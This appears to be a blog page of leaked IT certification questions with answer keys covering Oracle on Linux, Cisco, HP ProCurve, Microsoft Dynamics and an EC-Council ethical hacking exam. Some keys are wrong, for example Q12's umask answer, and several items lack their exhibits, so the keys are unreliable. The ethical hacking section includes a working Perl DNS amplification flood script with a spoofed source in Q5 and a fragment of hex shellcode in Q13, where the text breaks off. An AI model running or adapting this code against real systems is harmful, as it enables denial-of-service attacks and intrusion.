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2009年07月31日

最新1z0-046认证考试题库下载

Filed under: Oracle — admin @ 10:10 pm

最新1z0-046考试题库

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Exam : Oracle 1Z0-046
Title : Oracle? Database 10g:Managing Orcale on Linux for DBAs

1. Which three statements are true about the built-in shell variables? (Choose three.)
A. The $? variable stores true and false values.
B. The $* variable stores all the command-line parameters passed.
C. The $# variable stores the total number of command-line parameters.
D. The values for these variables are retained in the session until it is reset.
E. The $n variable can store n number of positional command-line parameters.
Answer: BCE

2. In an online transaction processing (OLTP) database instance that involves a high volume of data manipulation language (DML) operations, you decide to increase the value of the LOG_BUFFER parameter.
What could be the reason for this change?
A. The buffer busy wait event has been detected.
B. The no free buffers event has been detected.
C. The log buffer space wait event has been detected.
D. The log file completion wait event has been detected.
E. The value for the free buffer inspected statistics is growing.
Answer: C

3. Which command is used to identify the kernel version number?
A. which
B. whatis
C. uname -r
D. ulimit -m
E. chkconfig
Answer: C

4. Which three statements are true about Oracle Clustered File System (OCFS)? (Choose three.)
A. There is no limit on the number of files on OCFS.
B. You can use OCFS for database files as well as general files.
C. You can create an OCFS using Logical Volume Manager (LVM).
D. You must modify the Linux kernel parameters before mounting OCFS.
E. Standard file system commands, such as mkdir, rmdir, and mv, are available on OCFS.
Answer: ABE

5. View the Exhibit and examine the output.
What do you infer from this? (Choose all that apply.)
A. The command output is stored in the pmon.txt file.
B. The command shows all the processes running on the machine.
C. The command appends the pmon.txt file with the output of the command.
D. The command shows only those processes that contain the text _pmon running on your machine.
E. The logs generated while executing the command will be stored in the pmon.txt file.
Answer: AD

6. You executed the ipcs -m command to list all the shared memory segments in your Oracle server.
View the Exhibit exhibit1 that shows the output of this command.
Later, you executed the same command to check the shared memory segments.
View the Exhibit exhibit2 that shows the output of this command.
Why is the large shared memory segment not listed in the second Exhibit?
A. The Oracle database instance is shut down.
B. The swap space has been increased in the system.
C. The Oracle database instance is configured in shared server mode.
D. The large pool size set for the Oracle database instance is reset to zero.
Answer: A

7. The OS user BOB is a member the osoper OS group in the database server. You want BOB:
To be able to connect "/ as sysdba"
To be authenticated by the operating system
Which of the option would fulfill the requirement?
A. Assign the sysdba privilege to BOB.
B. Assign the osdba OS group to BOB.
C. Set the REMOTE_LOGIN_PASSWORDFILE initialization parameter to SHARED.
D. Set the REMOTE_LOGIN_PASSWORDFILE initialization parameter to EXCLUSIVE.
Answer: B

8. View the Exhibit.
Which two statements are true about the output of the cat /proc/partitions command? (Choose two.)
A. The hard disk has four partitions.
B. The hard disk has six partitions.
C. The swap partition is not shown in the output.
D. The major column shows the device number with partitions.
E. The #blocks column shows the number of inode blocks in that partition.
Answer: AD

9. You logged in as user user1 on a Linux machine. You need to check which groups you belong to. Which commands will you use? (Choose two.)
A. id
B. uname -G
C. cat /etc/passwd
D. cat /etc/group
E. cat .bash_profile
Answer: AD

10. Match the following commands with the purpose they are used for:
A. i-a, ii-e, iii-d, iv-c, v-b
B. i-c, ii-a, iii-e, iv-d, v-b
C. i-c, ii-e, iii-b, iv-a, v-b
D. i-c, ii-a, iii-d, iv-e, v-b
Answer: D

11. A non-General Public License (GPL) driver was loaded on a Linux machine. To verify that the module has tainted the kernel, you executed the cat /proc/sys/kernel/tainted command and received the following output:
[root@edtdr6p1 root]# cat /proc/sys/kernel/tainted
1
What do you infer from the output? (Choose all that apply.)
A. A proprietary module has been loaded.
B. A module is marked unsupported by the vendor.
C. All the loaded modules have General Public License (GPL).
D. A module was force-loaded by using the insmod -f command.
Answer: AD

12. You need to ensure that whenever you create a new file, it should have the following set of permissions:
u=rwx,g=rx,o=rx.
Which statement can you add to the .bashrc script to set the desired file permissions?
A. umask 455
B. umask 012
C. umask 0755
D. chmod u=rwx,g=rx,o=rx
Answer: C

13. You attempt to modify the ksms.s library and relink the Oracle database executable to use the address 0X15000000 for the System Global Area (SGA). You receive an error.
Which set of commands would you use to restore the original settings?
A. echo 0X1000000 > ksms.s
 make -f ins_rdbms.mk ksms.s
B. echo 0X15000000 > ksms.s
 make -f ins_rdbms.mk ioracle
C. make -f ins_rdbms.mk ksms.s
 make -f ins_rdbms.mk ioracle
D. genksms > ksms.s
make -f ins_rdbms.mk ksms.o
make -f ins_rdbms.mk ioracle
E. genksms -s 0X10000000 > ksms.o
Answer: D

14. ho.sh is an executable shell script. You executed the following command that leads to an error:
What could you do to execute the command successfully in the next attempt?
A. Provide the shell reference with the command.
B. Remove the shell reference present inside the shell script.
C. Execute the command as the root operating system user.
D. The extension for the output file should be changed to .log.
Answer: A

15. View the following script:
Which statement is true about the script?
A. The script displays the total number of .dbf files on the local machine.
B. The script will not execute because no value for the $1 variable is given.
C. The script displays the .dbf files in the location given as a value in the positional parameter.
D. The script will give an error because the variable name should contain the letters of the English alphabet.
Answer: C

16. Examine the content of the /proc/sys/kernel/tainted file on your Linux machine:
[root@edtdr6p1 root]# cat /proc/sys/kernel/tainted
1
What will happen when you install Oracle Database 10g on this machine?
A. Installation will fail because of the tainted kernel.
B. Installation will be successful, but Oracle will not provide support for the database product.
C. Installation will be successful. Oracle will provide support for the database product but not for the operating system (OS).
D. Installation will be successful and Oracle will provide support for the database product as well as the OS.
E. Successful installation and Oracle support for database product as well as Linux OS will depend on the module tainting the kernel.
Answer: E

17. Which command would you use to identify the users that belong to the oradba group?
A. id -G
B. uname -g
C. grep ^oradba: /etc/passwd
D. grep ^oradba: /etc/group
Answer: D

18. You have started an instance with the DBWR_IO_SLAVES initialization parameter set to 2. What will be the result of setting this parameter? (Choose two.)
A. The DISK_ASYNCH_IO initialization parameter will be set to True.
B. The TAPE_ASYNCH_IO initialization parameter will be set to True.
C. The database instance will simulate asynchronous input/output (I/O).
D. Oracle server will update the value for the DB_CACHE_SIZE initialization parameter as per the system requirement.
E. If the existing value of the DB_WRITER_PROCESSES initialization parameter is set to greater than 1, then the DB_WRITER_PROCESSES parameter will be set to 1.
Answer: CE

19. You want to install Oracle Database 10g on a Linux machine. You want to ensure that no tainted modules are loaded on the kernel. Which commands will you execute to achieve this?
A. uname -r
B. uname -v
C. cat /proc/version
D. cat /proc/sys/kernel/tainted
Answer: D

20. View the following script:
Which statement is true about the execution and output of the script?
A. It will execute only in the /etc/oratab directory.
B. It will show all the Oracle homes listed in the oratab file on the local machine.
C. It will show all Oracle database SIDs listed in the oratab file on the local machine.
D. The script output will depend on the command-line arguments passed while executing the script.
Answer: C

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最新642-291认证考试题库下载

Filed under: Cisco — admin @ 9:12 pm

最新642-291考试题库

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Exam : Cisco 642-291
Title : Network Management Network Management

1. Which two software components are required to use Cisco View?(Choose two)
A. Java plug-In
B. Integration Utility
C. Device Packages
D. Resource Manager Essentlals(RME)
Answer: AB

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最新HP0-Y18认证考试题库下载

Filed under: HP — admin @ 6:19 pm

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Exam : HP HP0-Y18
Title : ProCurve Mobility

1. Wireless networks present certain challenges.Which wireless network challenge does ProCurve Mobility Infrastructure Solutions help you address?
A. Users are less productive when using a wireless connection.
B. 802. 11 standards do not provide any guidelines for Layer 2 roaming.
C. 802. 11 standards do not provide any encryption, so you must create VPN tunnels to each end station.
D. Multiple users connect to the network through the same AP, but access must be authorized for each user.
Answer: D

2. What does the slot time determine?
A. the number of seconds the AP waits between sending beacons
B. the length of time the station waits between detecting a transmission and sending a frame
C. the beginning of the 802. 11 frame, which enables the AP and the station to synchronize their transmissions
D. how long the station can "sleep" before it must become active and check the AP to see if there are any transmissions waiting for it
Answer: B

3. You are configuring a ProCurve AP 530.You configure two WLANs.What is one reason to enable the first WLAN only on radio 1 and the second WLAN only on radio 2?
A. to overcome environmental obstacles
B. to double the capacity of each WLAN by using two radios
C. to separate different types of wireless traffic into different collision domains
D. to allow users to choose their radio but still connect to the same Basic Service Set (BSS)
Answer: C

4. The ProCurve AP 420 radio has one Basic Service Set Identifier (BSSID), and each of the two AP 530 radios has 16 BSSIDs.What is the implication of this difference?
A. The AP 420 can advertise only 1 WLAN, but the AP 530 can advertise 16.
B. The AP 420 can support only 1 WLAN, but the AP 530 can support 32.
C. The AP 420 can support only 1 WLAN, but the AP 530 can support 16.
D. The AP 420 can advertise only 1 WLAN, but the AP 530 can advertise 32.
Answer: A

5. How many configuration files can be stored on the ProCurve AP 420?
A. 2: the startup-config and the factory default config
B. 3: the startup-config, the factory default config, and one custom config
C. 3: the factory default config, the startup-config, and the backup startup-config
D. 4: the factory default config, the startup-config, the backup startup-config, and one custom config
Answer: A

6. What is the default management username and password on the ProCurve AP 530?
A. The username is admin, and the password is admin.
B. The username is admin, and the password is procurve.
C. The username is manager, and the password is procurve.
D. The username is admin, and there is no default password.
Answer: A

7. Which Quality of Service (QoS) mechanism do both the ProCurve AP 420 and the ProCurve AP 530 support?
A. Wi-Fi Multimedia (WMM)
B. SpectraLink Voice Priority (SVP)
C. Differentiated Services (DiffServ)
D. Wi-Fi Multimedia Extensions (WME)
Answer: B

8. Which ProCurve AP 530 feature is most beneficial for a small to medium business that has strong security needs?
A. It monitors for excessive probes to detect possible intrusion attempts.
B. Its internal RADIUS server provides standalone support for 802. 1X authentication.
C. Unlike the ProCurve AP 420, it can operate all 16 of its wireless LANs in closed system.
D. It supports 802. 11a, and hackers generally do not check for networks on this frequency.
Answer: B

9. Which security option was part of the original 80 11 standard?
A. 802. 1X
B. Shared-key WEP
C. Dynamic Wired Equivalent Privacy (WEP)
D. Wi-Fi Protected Access with preshared keys (WPA-PSK)
Answer: B

10. Your company wants to use the 2. 4GHz frequency on both of your ProCurve AP 530 radios.What must you do so that both radios can use this frequency?
A. Set both radios to either 802. 11g or 802. 11b.
B. Set both radios to either 802. 11g or 802. 11b, and install an external antenna for radio 2.
C. Install an 802. 11b/g card on radio 2, and set both radios to either 802. 11g or 802. 11b.
D. Set one radio to 802. 11g and one radio to 802. 11b, install an external antenna for radio 1, and configure radio 1 to use an external antenna.
Answer: B

11. The ProCurve Mobility Manager (PMM) site-planning tool provides an Auto Placement tool.What does this tool take into account as it places devices on the floor plan?
A. the existing RF interference
B. the obstacles that you have defined
C. other devices already placed on the floor plan
D. the floor plan dimensions and desired capacity
Answer: D

12. What purpose does the second software image on the ProCurve AP 420 serve?
A. It allows you to choose two different images to load onto the AP.
B. It allows you to keep the last software image that was loaded onto the AP.
C. It provides a failsafe image in the event the primary image becomes corrupted.
D. It provides an alternate software version in the event the primary does not support your configuration.
Answer: C

13. Your company has a branch office down the street from your main office.You want to connect the networks between the two offices, and physical cabling is not an option.Which wireless devices should you select for this environment?
A. two ProCurve AP 420s
B. two ProCurve AP 530s
C. two RP 230s and a Wireless Edge Services xl Module
D. two RP 220s with Yagi antennas and a Wireless Edge Services zl Module
Answer: B

14. What is a function of ProCurve Identity Driven Manager (IDM)?
A. It identifies which wireless users must associate to the wireless network.
B. It enables you to load different configuration files onto your ProCurve Mobility Infrastructure devices.
C. It guides you in creating policies that can be applied, through RADIUS, to either wired or wireless users.
D. It adds special features to ProCurve Manager (PCM) for configuring radio and wireless security settings.
Answer: C

15. You need to provide a wireless network for a small area that will require two access points.For this wireless network, you want to support both 802. 11b/g and 802. 11a radios throughout the entire coverage area.What would you choose?
A. two ProCurve AP 420s
B. two ProCurve AP 530s
C. ProCurve Wireless LAN System with two Radio Port (RP) 210s
D. ProCurve Wireless LAN System with one RP 230 and one RP 210
Answer: B

16. You are configuring a WLAN on the ProCurve AP 4When students, faculty members, and administrators associate to the WLAN, you want them to receive the dynamic VLAN assignment for their particular group.However, when staff members associate to the WLAN you want their traffic to be placed in the VLAN that is assigned to the WLAN.
How do you configure the AP 420 to support these VLAN assignments?
A. You select the Dynamic VLAN option for the WLAN.Static VLANs are supported by default.
B. You select both the Static and Dynamic VLAN options.These global options apply to the entire AP 420.
C. You select the Enable VLAN option for the WLAN.This option enables support for both static and dynamic VLANs on this WLAN only.
D. You select the Dynamic VLAN option, which enables both static and dynamic VLANs.This global option applies to the entire AP 420.
Answer: D

17. When can a station no longer communicate with an AP?
A. when the received signal falls below 0 dBm
B. when the received signal falls below the background noise
C. when the received signal falls below the station’s receiver sensitivity
D. when the received signal falls below the fade margin for the wireless cell
Answer: C

18. What does Spanning Tree Protocol (STP) on the ProCurve AP 530 prevent?
A. loops over connections to stations in the wireless network
B. loops over the APs Ethernet and wireless bridge connections
C. loops over connections between stations in the wireless and the wired network
D. loops over connections between only wireless stations associated with multiple APs
Answer: B

19. A network administrator accesses the Marketing WLAN, which is assigned to VLAN 32 on the ProCurve AP 530.When the AP 530 submits the administrator’s login credentials to the RADIUS server, the RADIUS server returns a dynamic VLAN assignment of 10 to the AP 530.The AP 530 is using the default settings for dynamic and static VLAN support.
In which VLAN does the AP 530 place the network administrator’s traffic?
A. 32, because dynamic VLANs are disabled by default
B. the default management VLAN, because there is a VLAN conflict
C. 10, because dynamic VLAN assignments override static VLAN assignments
D. 32, because static VLAN assignments override dynamic VLAN assignments
Answer: C

20. You want ProCurve Radio Port (RP) 1’s radio to function as a neighbor for RP 2’s radio.RP 1 will monitor RP 2 and take action if RP 2 becomes unavailable.You configure RP 1’s radio to take which action if RP 2 becomes unavailable? (Select two. )
A. Open its data rates.
B. Change the radio’s channel.
C. Increase the radio’s transmit power.
D. Order stations associated with RP 2 to roam.
E. Change the radio mode from 802. 11a to 802. 11b/g.
Answer: AC

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Exam : MBS MB5-538
Title : Retail Management System 2.0 Headquarters

1. When using global customers, which type of information is NOT available at all of the stores in the enterprise?
A. The customer’s entire purchase history
B. The customer’s account balance
C. The customer’s account type
D. The customer’s credit limit
Answer: A

2. When importing into the Headquarters database from a Store Operations database using HQ Administrator, what data is included in the import? Choose the 2 that apply.
A. Purchase Orders
B. Item Taxes
C. Sales History
D. Categories
Answer: BD

3. The Headquarters Client application communicates with what other RMS Components?
A. The HQ Server and the store’s Store Operations Manager
B. Headquarters Manager and the store’s Store Operations Manager
C. Headquarters Manager and the store’s SQL Server
D. The HQ Server and the store’s SQL Server Database
Answer: D

4. Which operation should be performed in Headquarters Administrator if you feel the tables and indexes are unsynchronized resulting in slow database performance?
A. Reindex
B. Change Collation
C. Upgrade
D. Check
Answer: A

5. When using Microsoft Dynamics Retail Management System Headquarters version 2.0, in which application do you enter the product key for each store?
A. Headquarters Client
B. Headquarters Server
C. Headquarters Administrator
D. Headquarters Manager
Answer: A

6. Of the following, which is the recommended method for building the Headquarters database?
A. Enter all information manually into Headquarters
B. Import an existing Store Operations database
C. Make a backup of a Store Operations database and use that as the Headquarters database
D. Enter information into Microsoft Excel and import it into Headquarters
Answer: B

7. Headquarters licenses are sold by which entity?
A. Register
B. User
C. Store
D. Server
Answer: C

8. The Store ID that is uniquely assigned to each store in HQ Manager must be assigned in what Store Operations window at the respective store?
A. File | Configuration of Administrator on each machine
B. File | Configuration of the HQ Client
C. File | Configuration of Manager
D. It does not need to be assigned anywhere at the store
Answer: C

9. You have created a Microsoft Excel spreadsheet which you would like to launch from within Headquarters Manager. How can you configure this?
A. Copy the Excel file to a directory where you will store all add-ins. Edit the add-ins path in the RMSHQ.ini file.
B. Copy the necessary Excel file to a directory where you will store all add-ins. In Headquarters Administrator, configure the path to the folder in the Headquarters Configuration window.
C. All third-party files and add-ins must be located in the folder where the Headquarters application files were installed; no configuration is necessary.
D. None of the above; Headquarters Manager does not have the ability to launch other application’s files.
Answer: B

10. How should you configure Headquarters Server to ensure it is automatically started each time the machine is started?
A. Set the Startup type to Automatic on the Headquarters Server service
B. Set the Startup type to Automatic on the Headquarters Client service
C. Set the Startup type to Automatic in Headquarters Administrator Configuration
D. Place a shortcut to the HQServer.exe file in the Windows Startup folder and mark the "Autostartup Headquarters Server" option in the Headquarters Server Configuration window.
Answer: D

11. You currently have one store running Microsoft Dynamics – Store Operations and are implementing Headquarters. You plan to have Global Customers within the Headquarters enterprise. What should you do to mark the existing customers as global in the existing Store Operations database?
A. At the store, mark the "Enable global customers for multi-store" Configuration option
B. At the store, mark the "New customers default as global customers" Configuration option
C. Set up the Global Customer Account Options in Headquarters Manager
D. Run a Transact-SQL (T-SQL) statement to update the customers’ "Customer is a global/enterprise customer" option
Answer: D

12. Which of the following wizards creates a new Store Operations database and copies centrally maintained data from Headquarters into it?
A. New Store Wizard
B. Export Database Wizard
C. New Item Wizard
D. Inventory Wizard
Answer: B

13. You have multiple stores using Microsoft Dynamics – Store Operations 2.0. You have recently purchased Headquarters to consolidate your enterprise data. Which method should you perform to create the Headquarters database which will contain the stores’ items and suppliers?
A. Create a blank Headquarters database using the RMShqdb.bck file; then manually create records for each item and supplier using Headquarters Manager.
B. Import the records from one of the store’s Store Operations databases into the head office database. Then, in Headquarters Manager, manually create records for each of the other store’s items and suppliers.
C. Import the records from one of the store’s Store Operations databases into the head office database. Then, in Headquarters Administrator, use the Import Store Operations command for each of the other store’s databases.
D. Create a ‘master’ store database by importing each of the store’s records into one Store Operations database. Then, in Headquarters Administrator, import the master store database using the Import Store Operations command.
Answer: D

14. Which file should be used to create the sample Headquarters database?
A. rmshqdb.bck
B. rmshqsample.bck
C. rmsstore1.bck
D. rmshqexample.bck
Answer: B

15. Which of the following allows the user to make changes directly to the Headquarters database?
A. Maintenance Mode
B. Security Level 0
C. Administrator Login
D. SA Mode
Answer: A

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Exam : Microsoft MB3-528
Title : GP 10.0 Financials

1. Which of these statements are true about users that are set up in Microsoft Dynamics GP? Choose the 2 that apply.
A. Users can be granted access to more than one company
B. Users can set their own display settings in User Preferences
C. Users can only be deleted in SQL, not Microsoft Dynamics GP
D. Users must be assigned to a class
Answer: AB

2. A company enters all sales transactions as General Ledger transactions. The company wants to use the tax features (details and schedules) in General Ledger. Where must they go to activate this feature?
A. General Ledger Setup
B. Account Maintenance
C. Company Setup Options
D. Tax Schedule Maintenance
Answer: C

3. The Accounting Manager has set up users, security tasks and security roles. How are these used in Microsoft Dynamics GP?
A. Users are assigned to security tasks, security tasks are assigned to security roles.
B. Security roles are assigned to security tasks, security tasks are assigned to users.
C. Security tasks are assigned to security roles, security roles are assigned to users.
D. Users are assigned to security roles, security roles are assigned to security tasks
Answer: C

4. Which of the following tasks are provided when using Advanced Lookups Setup?
A. Set up additional keys to sort on within lookup windows
B. Select a SmartList favorite for a lookup option
C. Change the default sort for a lookup window
D. Restrict on the items appearing in the lookup window
Answer: A

5. Selena, the accounting manager, is concerned because there is going to be some adjusting entries that need to be made to accounts in General Ledger. Selena does not want to close the year until after these adjustments are made. How many open years does Microsoft Dynamics GP allow?
A. 1
B. 2
C. 3
D. Unlimited
Answer: D

6. What function provides an option to designate a default printer for a specific task such as printing payables checks?
A. Windows Print Setup
B. Named Printers
C. Process Server
D. Activity Tracking
Answer: B

7. If ‘Post through General Ledger’ is selected in Posting Setup for Payables Management transactions, what happens to a voucher that is posted in a batch in Payables Management?
A. The transaction only updates Payables Management.
B. The transaction is sent to General Ledger without updating Payables Management.
C. The transaction updates Payables Management and General Ledger after it is posted in Payables Management.
D. The transaction updates Payables Management and is sent to a General Ledger batch where it needs to be posted.
Answer: C

8. What is the maximum account length and maximum number of segments for an account in Microsoft Dynamics GP?
A. 66 and 10
B. 50 and 20
C. 25 and 5
D. 20 and 10
Answer: A

9. The System Administrator of the ABC Company completed all the security setups for a company. Where is security activated for the company in Microsoft Dynamics GP?
A. Company Setup window
B. Security Role Setup
C. Security Setup window
D. SQL Options window
Answer: A

10. Which date is used as the posting date in General Ledger if a batch of transactions is posted in summary from a subsidiary ledger in Microsoft Dynamics?GP?
A. User Date
B. Due Date
C. Batch Date
D. Transaction Date
Answer: C

11. A customer walked into the store and purchased a phone. If the shipping method is pickup on a Receivables transaction, and the option in the Company Setup Options window to use the shipping method when selecting default tax schedules is selected, what tax schedule appears by default on the transaction?
A. The tax schedule assigned to the customer
B. The tax schedule assigned to your company
C. The tax schedule assigned in Receivables Management Setup
D. The tax schedule assigned to the phone
Answer: B

12. The Controller wants the ability to reprint posting journals for auditing purposes. Where must the Controller go to select the option to have the ability to reprint posting journals in Microsoft Dynamics GP?
A. Posting Setup window
B. Audit Trail Codes Setup window
C. Posting Journal Setup window
D. Batch Entry window
Answer: B

13. The System Administrator is setting up posting rules in Posting Setup. The Administrator decided to select the use Account Settings option in Posting Setup.
What is the purpose of this option?
A. It allows posting to be limited to certain accounts.
B. It allows some accounts to be posted to in detail and others in summary.
C. It allows for the restriction of which accounts appear in each series
D. It allows the use of the account level security option.
Answer: B

14. If General Ledger transactions are posted to a fiscal year, what utility need to be run if the number of periods in the fiscal year is changed?
A. Check Links
B. Reconcile
C. Rebuild
D. Mass Modify
Answer: B

15. The Vice President of Sales is proposing to change the account format so sales can be tracked more precisely. Assuming the account framework was set to the maximums allowed in Microsoft Dynamics GP for account length and segments, which of the following statements are true about changing the account format? Choose the 2 that apply.
A. The account format length can be changed from 10 characters to 11 characters.
B. Changes can be made to the account format before the chart of accounts has been entered.
C. The account format can be shortened from 9 characters to 6 characters after the chart of accounts has been entered.
D. After Microsoft Dynamics GP is installed, changes cannot be made to the account format.
Answer: AB

16. What is the maximum number of fiscal periods that can be created when setting up a new fiscal year in Microsoft Dynamics GP?
A. 13
B. 52
C. 366
D. 367
Answer: D

17. The Controller of the XYZ Company is unhappy because many data entry errors are made by users entering single transactions that are posted without edit list reviews. What step(s) can be taken in Microsoft Dynamics GP to help encourage that these practices are corrected?
A. Select the posting Date From Batch option in Posting
B. Require control totals in the batch entry window and enter a unique audit trail code for each transaction
C. Select the ost Through GL option in Posting Setup and require control totals in the batch entry window
D. Clear the allow Transaction Posting option in Posting Setup and select the ‘Require Batch Approval’ option and enter an approval password
Answer: D

18. Which of the following are differences when posting to General Ledger versus posting Through General Ledger Files? Choose the 2 that apply.
A. When posting to General Ledger, a password is required.
B. When updating beginning balances in subsidiary ledgers, batches can be deleted in General Ledger.
C. It is a one-step process to post from the subsidiary ledger and update the account balance.
D. Changes can be made to the batch in General Ledger before updating the account balances.
Answer: BD

19. Which setup option is not company specific in Microsoft Dynamics GP?
A. Activating security
B. Defining an account format
C. Setting up user classes
D. Setting up payment terms
Answer: C

20. Edit lists can be printed from which of the following windows in Microsoft Dynamics GP? Choose the 2 that apply.
A. Batch Entry windows
B. Master Posting window
C. Transaction Entry windows
D. Series Posting windows
Answer: AC

最新EC0-350认证考试题库下载

Filed under: EC-COUNCIL — admin @ 12:04 pm

最新EC0-350考试题库

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Exam : EC-Council EC0-350
Title : Ethical Hacking and Countermeasures

1. You are gathering competitive intelligence on an organization. You notice that they have jobs listed on a few Internet job-hunting sites. There are two jobs for network and system administrators. How can this help you in footprinting the organization?
A. The IP range used by the target network
B. How strong the corporate security policy is
C. The types of operating systems and applications being used
D. An understanding of the number of employees in the company
Answer: C

2. You have successfully run a buffer overflow attack against a default IIS installation running on a Windows 2000 server. The server allows you to spawn a shell. In order to perform the actions you intend to do, you need elevated permissions. You need to know what your privileges are within the shell. What are your current privileges?
A. LocalSystem
B. Administrator
C. IUSR_COMPUTERNAME
D. IIS default installation account
Answer: A

3. You have chosen a 22 character word from the dictionary as your password. How long will it take to crack the password by an attacker?
A. 5 minutes
B. 23 days
C. 200 years
D. 16 million years
Answer: A

4. What hacking attack is challenge/response authentication used to prevent?
A. Replay attacks
B. Scanning attacks
C. Session hijacking attacks
D. Password cracking attacks
Answer: A

5. A Hacker would typically use a botnet to send a large number of queries to open DNS servers. These queries will be "spoofed" to look like they come from the target of the flooding, and the DNS server will reply to that network address.
It is generally possible to stop the more-common bot-delivered attack by blocking traffic from the attacking machines, which are identifiable. But blocking queries from DNS servers brings problems in its wake. A DNS server has a valid role to play in the workings of the Internet. Blocking traffic to a DNS server could also mean blocking legitimate users from sending e-mail or visiting a Web site. A single DNS query could trigger a response that is as much as 73 times larger than the request.
The following perl code can launch these attacks.
use Net::DNS::Resolver;
use Net::RawIP;
open(LIST,"ns.list");
@list=<LIST>;
close LIST;
chomp(@list);
my $lnum=@list;
my $i=0;
my $loop=0;
if ($ARGV[0] eq ”) {
print "Usage: ./hackme.pl <target IP> <loop count>n";
exit(0);
}
while($loop < $ARGV[1]) {
while($i < $lnum) {
my $source = $ARGV[0];
my $dnspkt = new Net::DNS::Packet("google.com","ANY");
my $pktdata = $dnspkt->data;
my $sock = new Net::RawIP({udp=>{}});
$sock->set({ip => { saddr => $source, daddr => $list[$i], frag_off=>0,tos=>0,id=>1565}, udp => {source => 53, dest => 53, data=>$pktdata} });
$sock->send;
$i++;
}$loop++; $i=0;}
exit(0);
What type of attacks are these?
A. DNS reflector and amplification attack
B. DNS cache poisoning attacks
C. DNS reverse connection attacks
D. DNS forward lookup attacks
Answer: A

6. Once an intruder has access to a remote system with a valid username and password, the attacker will attempt to increase his privileges by escalating the compromised account to one having increased privileges, such as that of an administrator. What would be the best countermeasure to protect against such escalation?
A. Give users tokens
B. Give users two passwords
C. Give users a strong policy document
D. Give user the least amount of privileges
Answer: D

7. System administrators sometimes post questions to newsgroups when they run into technical challenges. As an ethical hacker, you could use the information in newsgroup postings to glean insight into the makeup of a target network. How would you search for these posting using Google search?
A. Search in Google using the key search strings "the target company" and "newsgroups"
B. Search for the target company name at http://groups.google.com
C. Use NNTP websites to search for these postings
D. Search in Google using the key search strings "the target company" and "forums"
Answer: B

8. Null sessions are un-authenticated connections (not using a username or password.) to an NT or 2000 system. Which TCP and UDP ports must you filter to check null sessions on your network?
A. 137 and 139
B. 137 and 443
C. 139 and 443
D. 139 and 445
Answer: D

9. Travis works primarily from home as a medical transcriptionist. He just bought a brand new Dual Core Pentium computer with over 3 GB of RAM. He uses voice recognition software to help him transfer what he dictates to electronic documents. The voice recognition software is processor intensive, which is why he bought the new computer. Travis frequently has to get on the Internet to do research on what he is working on. After about two months of working on his new computer, he notices that it is not running nearly as fast as it used to. Travis uses antivirus software, anti-spyware software, and always keeps the computer up-to-date with Microsoft patches.After another month of working on the computer, Travis?computer is even more noticeably slow. Every once in awhile, Travis also notices a window or two pop-up on his screen, but they quickly disappear. He has seen these windows show up, even when he has not been on the Internet. Travis is really worried about his computer because he spent a lot of money on it, and he depends on it to work. Travis scans his computer with all kinds of software, and cannot find anything out of the ordinary. Travis decides to go through Windows Explorer and check out the file system, folder by folder, to see if there is anything he can find. He spends over four hours pouring over the files and folders and cannot find anything. But, before he gives up, he notices that his computer only has about 10 GB of free space available. Since his hard drive is a 200 GB hard drive, Travis thinks this is very odd. ?
Travis downloads Space Monger and adds up the sizes for all the folders and files on his computer. According to his calculations, he should have around 150 GB of free space. What is mostly likely the cause of Travis?problems?
A. Traviss computer is infected with stealth kernel level rootkit
B. Traviss computer is infected with Stealth Trojan Virus
C. Traviss computer is infected with Self-Replication Worm that fills the hard disk space
D. Logic Bomb is triggered at random times creating hidden data consuming junk files
Answer: A

10. What does this symbol mean?
A. Open access point
B. WPA encrypted access point
C. WEP encrypted access point
D. Closed access point
Answer: A

11. The United Kingdom (UK) has passed a law that makes hacking into an unauthorized network a felony.
The law states:
Section 1 of the Act refers to unauthorized access to computer material. This states that a person commits an offence if he causes a computer to perform any function with intent to secure unauthorized access to any program or data held in any computer. For a successful conviction under this part of the Act, the prosecution must prove that the access secured is unauthorized and that the suspect knew that this was the case. This section is designed to deal with common-or-garden hacking.
Section 2 of the Act deals with unauthorized access with intent to commit or facilitate the commission of further offences. An offence is committed under Section 2 if a Section 1 offence has been committed and there is the intention of committing or facilitating a further offence (any offence which attracts a custodial sentence of more than five years, not necessarily one covered by the Act). Even if it is not possible to prove the intent to commit the further offence, the Section 1 offence is still committed.
Section 3 offences cover unauthorized modification of computer material, which generally means the creation and distribution of viruses. For a conviction to succeed there must have been the intent to cause the modification, and knowledge that the modification had not been authorized.
What is this law called?
A. Computer Misuse Act 1990
B. Computer Incident Act 2000
C. Cyber Crime Law Act 2003
D. Cyber Space Crime Act 1995
Answer: A

12. Spears Technology, Inc is a software development company located in Los Angeles, California. They reported a breach in security, stating that its "security defenses has been breached and exploited for 2 weeks by hackers." The hackers had accessed and downloaded 90,000 addresses containing customer credit cards and passwords. Spears Technology found this attack to be so severe that they reported the attack to the FBI for a full investigation. Spears Technology was looking to law enforcement officials to protect their intellectual property.
How did this attack occur? The intruder entered through an employees home machine, which was connected to Spears Technologys corporate VPN network. The application called BEAST Trojan was used in the attack to open a "back door" allowing the hackers undetected access. The security breach was discovered when customers complained about the usage of their credit cards without their knowledge.
The hackers were traced back to Beijing, China through e-mail address evidence. The credit card information was sent to that same e-mail address. The passwords allowed the hackers to access Spears Technologys network from a remote location, posing as employees. The intent of the attack was to steal the source code for their VOIP system and "hold it hostage" from Spears Technology, in exchange for ransom.
The hackers had intended on selling the stolen VOIP software source code to competitors.
How would you prevent such attacks from occurring in the future at Spears Technology?
A. Disable VPN access to all your employees from home machines
B. Allow VPN access but replace the standard authentication with biometric authentication
C. Replace the VPN access with dial-up modem access to the companys network
D. Enable 25 character complex password policy for employees to access the VPN network
Answer: A

13. while investigating a claim of a user downloading illegal material, the investigator goes through the files on the suspects workstation. He comes across a file that is just called "file.txt" but when he opens it, he finds the following:
#define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
char infin_loop[]= /* for testing purposes */
"xEBxFE";
char bsdcode[] = /* Lam3rZ chroot() code by venglin */
"x31xc0×50x50×50xb0×7excdx80×31xdbx31xc0×43"
"x43×53x4bx53×53xb0×5axcdx80xebx77×5ex31xc0"
"x8dx5ex01×88x46×04x66×68xffxffx01×53x53xb0"
"x88xcdx80×31xc0×8dx5ex01×53x53xb0×3dxcdx80"
"x31xc0×31xdbx8dx5ex08×89x43×02x31xc9xfexc9"
"x31xc0×8dx5ex08×53x53xb0×0cxcdx80xfexc9×75"
"xf1×31xc0×88x46×09x8dx5ex08×53x53xb0×3dxcd"
"x80xfex0exb0×30xfexc8×88x46×04x31xc0×88x46"
